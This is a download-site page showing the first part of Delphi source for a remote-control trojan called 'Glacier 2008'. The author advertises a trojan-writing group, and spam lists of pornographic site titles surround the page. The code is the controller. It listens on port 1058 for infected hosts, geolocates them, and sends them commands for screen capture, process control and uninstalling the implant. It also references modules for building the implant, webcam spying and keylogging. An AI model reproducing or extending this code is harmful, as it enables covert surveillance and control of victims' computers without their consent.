亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? unit1.pas

?? 冰河2008遠程控制迎奧運版 冰河2008遠程控制迎奧運版
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
unit Unit1;
{作者BLOG ALALMN JACK     http://hi.baidu.com/alalmn  
遠程控制和木馬編寫群30096995   }

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, ExtCtrls, ComCtrls, ToolWin, StdCtrls, ImgList, OleCtrls,
  SHDocVw, WinSkinData, IdComponent, IdTCPServer, IdBaseComponent,
  IdAntiFreezeBase, IdAntiFreeze,   shellapi,jpeg,untTQQWry;

type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    StatusBar1: TStatusBar;
    ListView1: TListView;
    ImageList1: TImageList;
    WebBrowser1: TWebBrowser;
    IdAntiFreeze1: TIdAntiFreeze;
    SaveDialog1: TSaveDialog;
    IdTCPServer1: TIdTCPServer;
    SkinData1: TSkinData;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ToolButton2: TToolButton;
    ToolButton3: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolBar2: TToolBar;
    Panel1: TPanel;
    Label1: TLabel;
    ComboBox1: TComboBox;
    Panel2: TPanel;
    Label2: TLabel;
    Label3: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    ToolButton22: TToolButton;
    PopupMenu1: TPopupMenu;
    N9: TMenuItem;
    ImageList2: TImageList;
    procedure FormCreate(Sender: TObject);
    procedure ToolButton9Click(Sender: TObject);
    procedure ToolButton10Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure ToolButton3Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton6Click(Sender: TObject);
    procedure ToolButton22Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormDestroy(Sender: TObject);
    procedure ListView1Change(Sender: TObject; Item: TListItem;
      Change: TItemChange);
    procedure ListView1Click(Sender: TObject);
    procedure ToolButton7Click(Sender: TObject);
    procedure ToolButton8Click(Sender: TObject);
    procedure N7Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    FleshIPList: TStringlist; {存放IP地理位置的列表}
    procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);      //消息的發送
    function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
     function GetIPtoAdder(IpName: string): string;
     procedure IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
     procedure IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
     procedure IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
  end;

  type // 服務器的會話信息。
  Ponlineinf = ^Tonlineinf;
  Tonlineinf = record
    ServerName: string[30];   {服務器主機名稱}
    AThread : TIdPeerThread;  {服務器線程}
    Soc: integer;             {服務器線程ID}
    ServerAdd: string[15];    {服務器IP地址}
    AdderStr: string;         {地理位置}
  end;

var
  Form1: TForm1;
  CurrentThread: TIdPeerThread;
  MyFirstBmp:TMemoryStream;
  OnlineServer: array[0..100] of Tonlineinf;
  count:integer;
   // SysDev: TSysDevEnum;
   // Videolist:TStringlist;

implementation
uses
Unit2,Unit3,Unit4,Unit5,Unit6,Unit7,Unit8,Unit9,Unit11,Unit12,Unit13;
 {Unit2     //FTP更新
  Unit3     //服務端生成
  Unit4     //遠程屏幕監控
  Unit5     //視頻監控
  Unit6     //遠程文件管理
  Unit7     //進程管理
  Unit8     //作者
  Unit9     //傳輸進度
  untTQQWry //IP數據庫
  Unit10    //新建文件夾
  Unit11    //運行參數設置
  Unit12    //窗口管理
  Unit13    //鍵盤記錄
  }

{$R *.dfm}
procedure Tform1.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
begin
 form1.Enabled :=  isbreak;  //停止
  try
    if not SendStreamToServer(CurrentThread,Miling+#13+Qita) then
    begin
     showmessage('連接出錯!');
     exit;
    end;
  except
    form1.Enabled := True;    //真
  end;
   form1.Enabled := True;     //真
end;

function Tform1.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
  MyStream: TMemoryStream;
  i:integer;
begin
  try
    MyStream:=TMemoryStream.Create;
    MyStream.Write(Cmd[1],Length(Cmd));
    MyStream.Position:=0;
    i:=MyStream.size;
    AThread.Connection.WriteLn(inttostr(i));
    AThread.Connection.WriteStream(MyStream);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    MyStream.Free;
    Result := False;
  end;
    MyStream.Free;
end;

function getfilesize(str: string): string;
var len: integer;
begin
    len := pos('|', str); //文件夾目錄主要操作
    result := copy(str, 1, len - 1);
end;

function Tform1.GetIPtoAdder(IpName: string): string; {從IP地址得到所在地理位置}
var
  QQWry: TQQWry;
  slIPData: TStringlist;
  IPRecordID: int64;
begin
  Result := '';
  try
      QQWry:=TQQWry.Create(ExtractFilePath(Paramstr(0)) + 'QQWry.dat');
      IPRecordID:=QQWry.GetIPDataID(IpName);
      slIPData:=TStringlist.Create;
      QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
      QQWry.Destroy;
      Result := slIPData[3];
     // (format('ID: %d IP: %s - %s 國家: %s 地區: %s', [IPRecordID, slIPData[0], slIPData[1], slIPData[2], slIPData[3]]));
      slIPData.Free;
  except //IP地址格式不對!
    Result := 'IP地址格式不對!';
  end; //
  if Result = '' then Result :='【未知數據】' ;
end;

function ReadSeverStream(AThread: TIdPeerThread; var TempStr: string): Boolean;    //讀取流
var
  RsltStream: TMemoryStream;
  TheSize:integer;
begin
  try
    RsltStream := TmemoryStream.Create;
    TheSize := AThread.Connection.ReadInteger;
    AThread.Connection.ReadStream(RsltStream, TheSize, False);
    RsltStream.Position := 0;
    SetLength(TempStr, RsltStream.Size);
    RsltStream.Read(TempStr[1],RsltStream.Size);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    RsltStream.Free;
    Result := False;
  end;
    RsltStream.Free;
end;

//////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
var
  IPFile: string;
  MyStream: TMemoryStream;
  MyStream1: TMemoryStream;
begin
   count:=0;   //清空防止數據的沉積
   MyFirstBmp:=TMemoryStream.Create;     //創建流
   IdTCPServer1.DefaultPort:=1058;    //設置監聽端口
    IdTCPServer1.Active:=true;        //開啟控件
   if  IdTCPServer1.Active then       //判斷開啟沒
   StatusBar1.Panels.Items[0].Text:='打開臨聽端口1058成功,請等待服務端上線!';
   StatusBar1.Panels.Items[1].Text:='在線主機0臺';
   WebBrowser1.Navigate('http://hi.baidu.com/alalmn');    //打開網站
end;

procedure TForm1.ToolButton9Click(Sender: TObject);
begin       //最小化
    application.Minimize;
end;

procedure TForm1.ToolButton10Click(Sender: TObject);
begin
   close;   //退出程序
end;

procedure TForm1.ToolButton1Click(Sender: TObject);
begin
  ftp.Show;  //更新IP
end;

procedure TForm1.ToolButton2Click(Sender: TObject);
begin
server.Show;  //服務端生成
end;

procedure TForm1.N4Click(Sender: TObject);
begin
  ftp.Show;  //更新IP
end;

procedure TForm1.N6Click(Sender: TObject);
begin
server.Show;  //服務端生成
end;

procedure TForm1.N5Click(Sender: TObject);
begin
close;    //退出
end;

procedure TForm1.N8Click(Sender: TObject);
begin
   ShellExecute(0,nil,PChar('http://hi.baidu.com/alalmn'), nil, nil, SW_NORMAL);
end;

procedure TForm1.ToolButton3Click(Sender: TObject);
begin
    ZhuDongCmdSend('050', '', false);
   // pingmu.Show;   //遠程屏幕監控
end;

procedure TForm1.ToolButton4Click(Sender: TObject);
begin
shipin.Show;     //視頻監控
end;

procedure TForm1.ToolButton5Click(Sender: TObject);
var
i:integer;
begin
  //  if SendStreamToServer(CurrentThread,'001') then
 // CurrentThread.Connection.WriteLn('001');
     for i:=0 to wenjian.TreeView1.Items.Count-1 do
     begin
     if wenjian.TreeView1.Items.Item[i].ImageIndex=6 then
      begin
        if wenjian.TreeView1.Items.Item[i].HasChildren then
           wenjian.TreeView1.Items.Item[i].DeleteChildren;
           wenjian.TreeView1.Items.Item[i].Delete;
           break;  //停止
      end;
     end;
wenjian.Show;   //遠程文件管理
end;

procedure TForm1.ToolButton6Click(Sender: TObject);
begin
   ZhuDongCmdSend('020','',false);
   jincheng.Show;   //進程管理
end;

procedure TForm1.ToolButton22Click(Sender: TObject);
begin
ALALMN.Show;    //作者聯系
end;

procedure TForm1.N9Click(Sender: TObject);
begin
   if MessageBox(Application.Handle,'你確定要卸載遠程服務端嗎?這樣你將失去對遠程主機的控制!','提示!',MB_OKCANCEL)=1 then
      ZhuDongCmdSend('080','',false);      //向遠程發送卸載指令
end;

///////////////////////////////////////////////////////////////////////////////////////////////////////

procedure TForm1.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin     //斷開反映
    for i:=0 to count-1 do
    begin
     if  OnlineServer[i].Soc = AThread.ThreadID then
     begin
        for j:=0 to ListView1.Items.Count-1 do   //數據條數 數據類型(長度)定義
        begin
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].Delete;   //刪除ListView1的數據
              StatusBar1.Panels.Items[1].Text:='在線主機'+inttostr(ListView1.Items.Count)+'臺';   //IdTCPServer1斷開后應為把ListView1里面的主機全部刪除了這時應該顯示為0才對
              break;     //停止
          end;
        end;
        j:=i;
        while j < count-1 do
        begin
         OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
         OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
         OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
         OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
         OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
         inc(j);
        end;
       dec(count);
       break; //停止
      end;

    end;
end;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
激情综合色综合久久综合| 国产一二精品视频| 国产精品亲子伦对白| 日韩一二三区视频| 欧美欧美午夜aⅴ在线观看| 色综合婷婷久久| 一本色道久久综合亚洲精品按摩| 成人午夜激情片| 不卡av在线网| 成人黄色777网| 99九九99九九九视频精品| 97久久超碰国产精品电影| 大桥未久av一区二区三区中文| 韩国毛片一区二区三区| 国产一区二区美女诱惑| 国产中文字幕一区| 国产a视频精品免费观看| 国产精品羞羞答答xxdd| 成人丝袜18视频在线观看| 成人h版在线观看| 91福利在线看| 日韩午夜激情视频| 久久久亚洲午夜电影| 国产精品久久久久桃色tv| 一区二区在线看| 日韩av网站免费在线| 狠狠网亚洲精品| 波多野结衣中文字幕一区二区三区| 色哟哟一区二区| 日韩欧美久久一区| 国产精品卡一卡二| 视频一区二区三区中文字幕| 久热成人在线视频| 成人激情文学综合网| 欧美午夜精品久久久久久超碰| 欧美一级黄色录像| 国产精品久久久久久久久图文区 | 天天色 色综合| 加勒比av一区二区| 色哟哟国产精品免费观看| 91精品久久久久久久久99蜜臂| 国产日韩综合av| 婷婷成人激情在线网| 国产一二三精品| 51午夜精品国产| 亚洲欧美一区二区三区极速播放 | 日韩情涩欧美日韩视频| 国产亚洲欧美日韩俺去了| 亚洲专区一二三| 国产丶欧美丶日本不卡视频| 欧美日韩成人综合在线一区二区| 日本一区二区综合亚洲| 三级欧美韩日大片在线看| 国产91精品久久久久久久网曝门| 欧美丰满嫩嫩电影| 亚洲欧洲www| 国产麻豆精品95视频| 7777女厕盗摄久久久| 亚洲美女视频在线| 国产精品2024| 精品国产人成亚洲区| 午夜精品久久久久久不卡8050| 9i在线看片成人免费| 久久综合九色综合97婷婷女人| 亚洲国产欧美在线| 在线精品视频免费播放| 中文字幕精品三区| 国内国产精品久久| 日韩一区二区在线观看视频播放| 亚洲一区二区精品久久av| 91在线观看一区二区| 国产三级三级三级精品8ⅰ区| 精品在线播放免费| 欧美成va人片在线观看| 男人的天堂久久精品| 91精品国产综合久久精品| 亚洲国产日产av| 欧美猛男男办公室激情| 午夜日韩在线电影| 欧美高清hd18日本| 午夜久久福利影院| 欧美乱熟臀69xxxxxx| 亚洲亚洲精品在线观看| 欧美日韩精品一区视频| 亚洲成人高清在线| 欧美一区二区视频免费观看| 免费亚洲电影在线| 精品国产亚洲一区二区三区在线观看| 国产真实乱对白精彩久久| 精品福利视频一区二区三区| 久久精品理论片| 国产欧美一区二区精品忘忧草 | 粉嫩久久99精品久久久久久夜| 国产无一区二区| 99久久精品免费精品国产| 亚洲丝袜制服诱惑| 欧美视频在线不卡| 久久精品国产一区二区三| 久久久久久久久伊人| 91免费国产在线观看| 无吗不卡中文字幕| 日韩欧美综合在线| 成人av免费在线播放| 亚洲一区二区三区爽爽爽爽爽| 欧美一二三四区在线| 丰满亚洲少妇av| 伊人一区二区三区| 精品久久久久香蕉网| 不卡的av在线| 美腿丝袜亚洲三区| 综合久久给合久久狠狠狠97色| 欧美另类变人与禽xxxxx| 国产精品影视在线| 亚洲一区在线观看视频| 久久精品亚洲麻豆av一区二区| 91精品1区2区| 国产一二精品视频| 亚洲一区二区三区小说| 久久精品夜夜夜夜久久| 7777女厕盗摄久久久| 波多野结衣中文字幕一区二区三区 | 国产精品一区二区在线看| 亚洲精品老司机| 久久综合九色综合欧美98| 欧美人伦禁忌dvd放荡欲情| 国产一区在线精品| 亚洲国产综合在线| 亚洲欧洲性图库| 精品国产乱码久久久久久蜜臀| 色视频欧美一区二区三区| 久久丁香综合五月国产三级网站| 亚洲激情在线激情| 国产三级精品三级在线专区| 欧美成人在线直播| 欧美日韩综合色| 色先锋久久av资源部| 国产99久久久国产精品| 久久精品99国产精品日本| 亚洲综合色噜噜狠狠| 国产精品久久久久四虎| 国产日韩欧美精品一区| 欧美一区二区视频观看视频| 欧美四级电影在线观看| 91丨九色丨黑人外教| 成人免费观看视频| 国产成a人无v码亚洲福利| 精东粉嫩av免费一区二区三区| 日韩在线a电影| 婷婷国产在线综合| 天堂在线亚洲视频| 五月婷婷激情综合网| 亚洲午夜三级在线| 亚洲一区二区三区免费视频| 一区二区欧美精品| 亚洲高清免费一级二级三级| 亚洲精品免费在线观看| 亚洲毛片av在线| 亚洲国产乱码最新视频| 亚洲成av人片在线| 亚欧色一区w666天堂| 日本女人一区二区三区| 九九九久久久精品| 国产一区二区三区免费| 国产一区二区三区香蕉| 国产精品乡下勾搭老头1| 成人免费观看视频| 色一情一伦一子一伦一区| 欧美日韩在线三区| 日韩欧美国产精品| 欧美激情在线观看视频免费| 国产精品女同一区二区三区| 国产精品久久久久毛片软件| 亚洲免费av高清| 青娱乐精品视频在线| 国产尤物一区二区在线| 成人动漫中文字幕| 欧美亚洲综合久久| 日韩欧美色综合| 国产精品久久久久影院色老大 | 在线不卡欧美精品一区二区三区| 91精品国产综合久久香蕉的特点 | 国产精品国产三级国产aⅴ入口 | 欧美视频一区在线观看| 91精品婷婷国产综合久久性色| 日韩一区二区三区视频| 国产婷婷色一区二区三区四区| 国产精品福利一区| 亚洲二区在线视频| 国产成a人亚洲| 欧洲色大大久久| 精品三级av在线| 亚洲欧美怡红院| 另类综合日韩欧美亚洲| 成人黄色在线看| 日韩亚洲欧美在线| 国产精品成人免费在线| 美腿丝袜亚洲色图| 色哦色哦哦色天天综合| 久久嫩草精品久久久久| 尤物av一区二区|